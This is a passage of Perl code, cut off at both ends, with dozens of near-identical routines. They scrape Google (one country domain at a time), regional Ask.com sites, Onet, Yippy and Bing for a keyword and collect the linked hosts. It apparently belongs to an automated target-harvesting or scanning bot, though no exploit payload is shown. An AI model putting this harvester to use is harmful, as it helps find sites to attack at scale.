&links($link); push(@list,@grep); } } } return @list; } sub hm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Ahm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub iq() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aiq%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub jm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Ajm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ki() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Aki%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kw() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Akw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub la() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Ala%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lb() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Alb%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Alr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mo() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Amo%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mg() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Amg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mv() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Amv%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mp() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Amp%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mq() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Amq%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Amr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub yt() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Ayt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub md() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Amd%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mc() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Amc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub me() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Ame%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mz() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Amz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Anr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nc() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Anc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ng() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Ang%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nu() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Anu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pw() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Apw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ps() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Aps%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cq() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Acq%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub re() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Are%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lc() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Alc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Apm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub st() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Ast%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub rs() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Ars%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gs() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Ags%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sl() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Asl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sx() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Asx%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sb() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Asb%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub so() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Aso%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub su() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Asu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kn() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Arokn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Asr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tz() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Atz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tl() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Atl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tg() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Atg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tk() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Atk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tn() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Atn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tc() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Atc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vu() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Avu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub wf() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Awf%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ws() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Aws%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ye() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Aye%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub zw() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Azw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pagatcom() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack24.uri_escape($key)."%2Bsite%3Acom%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub askCA() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://ca.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askCA\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub askDE() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://de.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askDE\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askIT() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askIT\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askUK() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askUK\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askFR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://fr.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askFR\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askES() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://es.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askES\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askRU() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://ru.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askRU\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub askNL() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://nl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askNL\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askPL() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://pl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askPL\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askAT() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://at.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askAT\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askSE() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://se.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askSE\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askDK() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://dk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askDK\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askNO() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://no.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askNO\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub askAU() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://au.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askAU\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askBR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://br.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askBR\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askMX() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://mx.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askMX\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub askJP() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://jp.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askJP\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub onet() { my @list; my $key = $_[0]; my $b = 0; for ($b=1; $b<=500; $b+=50) { my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key)); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=10; $b<=500; $b+=50) { my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&"); my $res = &search_engine_query($search); if ($res !~ /next/) {$b=100;} while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($1 !~ /yippy\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bing() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /google/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bingDE() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingDE/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub bingUK() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingUK/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingCA() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingCA/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingBR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ 